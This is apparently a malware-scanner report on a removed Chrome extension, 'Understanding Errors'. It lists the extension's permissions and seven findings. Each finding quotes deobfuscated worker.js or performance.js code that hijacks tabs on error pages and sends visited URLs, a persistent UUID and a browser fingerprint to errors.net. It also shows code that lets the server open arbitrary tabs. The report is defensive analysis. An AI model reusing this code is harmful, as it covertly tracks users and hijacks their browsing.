Understanding Errors

ID: dgcoeljmbmjppdaiiimcepjijfeleain

Could be malicious

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Removed
Version
2.0
Size
0.02 MB
Rating
0.0/5
Reviews
0
Users
9,699
Type
Extension
Updated
Aug 12, 2023
Category
Productivity Tools
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
https://understandingerrors.comView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
9,699

Understanding Errors is an advanced extension offers seamless navigation, relevant results, even on error-prone sites.

Understanding Errors was developed to simplify the internet for newcomers and those who are not familiar with browsing. This is made possible by our advanced software and browser extension. The Understanding Errors simplifies figuring out which errors you come across and giving you information about them. Its purpose is to make it easier for people who are inexperienced with browsing to have a smoother online experience without being confused by error messages. The Understanding Errors extension offers inexperienced users the advantages of our powerful tool, guiding them to make better choices online and providing insights into their online activities. You'll appreciate the links to relevant sources of information and articles that help you grasp what you're reading. Understanding Errors collaborates with partners like Yahoo.com, errors.net, and others. This collaboration aims to assist users who often come across websites showing NX domain errors, making their browsing journey more seamless.

Item
Type
Severity
Description
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
http://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
https://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
webNavigation
Permission
High
This permission enables monitoring of all browser navigation events and transitions. Rated High because it can track every page visit, navigation method, and browsing pattern, potentially exposing sensitive browsing behavior and user activities.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.

On any HTTP 4xx/5xx response for a top-level navigation across all hosts, the worker silently closes the user's tab (`chrome.tabs.remove`) and opens a new tab pointing at attacker-controlled `errors.net/error/` with the full original URL, status code, license key, and persistent user UUID embedded in the query string. This is network interception / navigation hijacking on every site the user visits, combined with exfiltration of the visited URL to a third party.

worker.js (Line 58)
async function handleHeadersReceived(e) {  const {    errorpages: t,    uuid: r  } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e.url)    .hostname);  "4" !== e.statusCode.toString()[0] && "5" !== e.statusCode.toString()[0] || o.hosts.includes(a) || (chrome.tabs    .create({      url: `https://errors.net/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=${e.statusCode.toString()}&uuid=${r.toString()}`    }), chrome.tabs.remove(e.tabId), o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: o.hosts      })    }))}

On any DNS resolution failure for a main-frame navigation, the extension redirects the user's current tab to `errors.net/error/` with the full failed URL and the persistent UUID. Any typo, captive-portal failure, or offline state silently delivers the user's intended URL to a third-party server tied to a stable identifier.

worker.js (Line 41)
async function handleErrorOccurred(e) {  if (e.error.includes("RESOLVE")) {    const {      errorpages: t,      uuid: r    } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e        .url)      .hostname);    o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: o.hosts      })    }), chrome.tabs.update({      url: `https://errors.net/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=nx&uuid=${r.toString()}`    })  }}

Every page load on every domain triggers a POST to `errors.net/performance/` carrying the user's persistent UUID, full navigation timing, and window/screen dimension fingerprint. The remote response is then acted upon to open new tabs (`a.notice`) or windows (`a.alert`), giving the server arbitrary ability to drive navigations / popups in the user's browser.

worker.js (Line 83)
async function perf(e) {  const t = await fetch(`https://errors.net/performance/?license=${apikey}`, {    method: "POST",    headers: {      "Content-Type": "application/json"    },    body: JSON.stringify(e)  });  return await t.json()}

The JSON response from the remote `errors.net/performance/` endpoint is passed directly into `chrome.tabs.create()` / `chrome.windows.create()`. The server can therefore command the extension to open arbitrary URLs in the user's browser at any time — a server-controlled navigation/popup channel suitable for ad injection, phishing redirects, or pushing malicious pages.

worker.js (Line 35)
a?.notice ? chrome.tabs.create(a.notice) : a?.alert && chrome.windows.create(a.alert)}

On install, the extension generates a persistent UUID stored in `chrome.storage.sync` (synced across the user's Chrome profiles) and immediately phones home with it to `understandingerrors.com/thankyou/?uuid=...`. That UUID is then attached to every subsequent performance POST and every error-page redirect, forming a stable cross-site tracking identifier.

worker.js (Line 105)
chrome.runtime.onInstalled.addListener((async e => {  const {    uuid: t  } = await chrome.storage.sync.get("uuid");  if (void 0 === t) {    const t = generateUUID();    await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: []      }),      uuid: t    }), "install" === e.reason && chrome.tabs.update({      url: `https://understandingerrors.com/thankyou/?uuid=${t.toString()}`    })  }}));

The content script (injected into every http(s) page) collects window/screen geometry — `screenTop`, `screenLeft`, `outerHeight/Width`, `innerHeight/Width` — and forwards it to the worker for transmission to `errors.net`. These dimensions plus navigation timings serve as a high-entropy browser fingerprint, far beyond what is needed to display performance metrics in the popup.

performance.js (Line 17)
const r = o.toFixed(i)  .substring(0, n ? 3 : 4),  d = {    offset: {      x: screenTop + (outerHeight - innerHeight),      y: screenLeft + (outerWidth - innerWidth)    },    details: {      x: screenTop,      y: screenLeft,      oh: outerHeight,      ih: innerHeight,      ow: outerWidth,      iw: innerWidth    }  };chrome.runtime.sendMessage({  time: r,  timing: t,  dimensions: d})

A hardcoded `license` API key is shipped in the extension and attached to every outbound request to `errors.net`, identifying this extension's traffic on the server. Combined with the per-user UUID, this enables the operator to attribute every page load and every visited URL to a specific install of this specific extension.

worker.js (Line 1)
const apikey = "woD72fu0hxHoeggtPkGH9BabPAQP0sEHW98p5Gqe";

By severity

Critical4
High2
Medium1
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.07

Files with findings

2 distinct paths — top paths by unique finding count:

  • worker.js6
  • performance.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
worker.js (line 83)Every page load on every domain triggers a POST to `errors.net/performance/` carrying the user's persistent UUID, full navigation timing, and window/screen dimension fingerprint. The remote response is then acted upon…
2Network Interception
critical
worker.js (line 58)On any HTTP 4xx/5xx response for a top-level navigation across all hosts, the worker silently closes the user's tab (`chrome.tabs.remove`) and opens a new tab pointing at attacker-controlled `errors.net/error/` with t…
3Network Interception
critical
worker.js (line 41)On any DNS resolution failure for a main-frame navigation, the extension redirects the user's current tab to `errors.net/error/` with the full failed URL and the persistent UUID. Any typo, captive-portal failure, or o…
4Remote Code Loading
critical
worker.js (line 35)The JSON response from the remote `errors.net/performance/` endpoint is passed directly into `chrome.tabs.create()` / `chrome.windows.create()`. The server can therefore command the extension to open arbitrary URLs in…
5Tracking
high
worker.js (line 105)On install, the extension generates a persistent UUID stored in `chrome.storage.sync` (synced across the user's Chrome profiles) and immediately phones home with it to `understandingerrors.com/thankyou/?uuid=...`. Tha…
6Tracking
high
performance.js (line 17)The content script (injected into every http(s) page) collects window/screen geometry — `screenTop`, `screenLeft`, `outerHeight/Width`, `innerHeight/Width` — and forwards it to the worker for transmission to `errors.n…
7Tracking
medium
worker.js (line 1)A hardcoded `license` API key is shipped in the extension and attached to every outbound request to `errors.net`, identifying this extension's traffic on the server. Combined with the per-user UUID, this enables the o…
URLs
17
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
purl.org/dc/elements/1.1/http://purl.org/dc/elements/1.1/
ns.adobe.com/tiff/1.0/http://ns.adobe.com/tiff/1.0/
ns.attribution.com/ads/1.0/http://ns.attribution.com/ads/1.0/
ns.adobe.com/exif/1.0/http://ns.adobe.com/exif/1.0/
fonts.googleapis.com/csshttps://fonts.googleapis.com/css?family=Roboto:400,500,700
errors.net-https://errors.net/
tldrlegal.com/license/mit-licensehttps://tldrlegal.com/license/mit-license
errors.net-https://errors.net
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
2.0
Latest
0.02 MB
Malicious
7
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.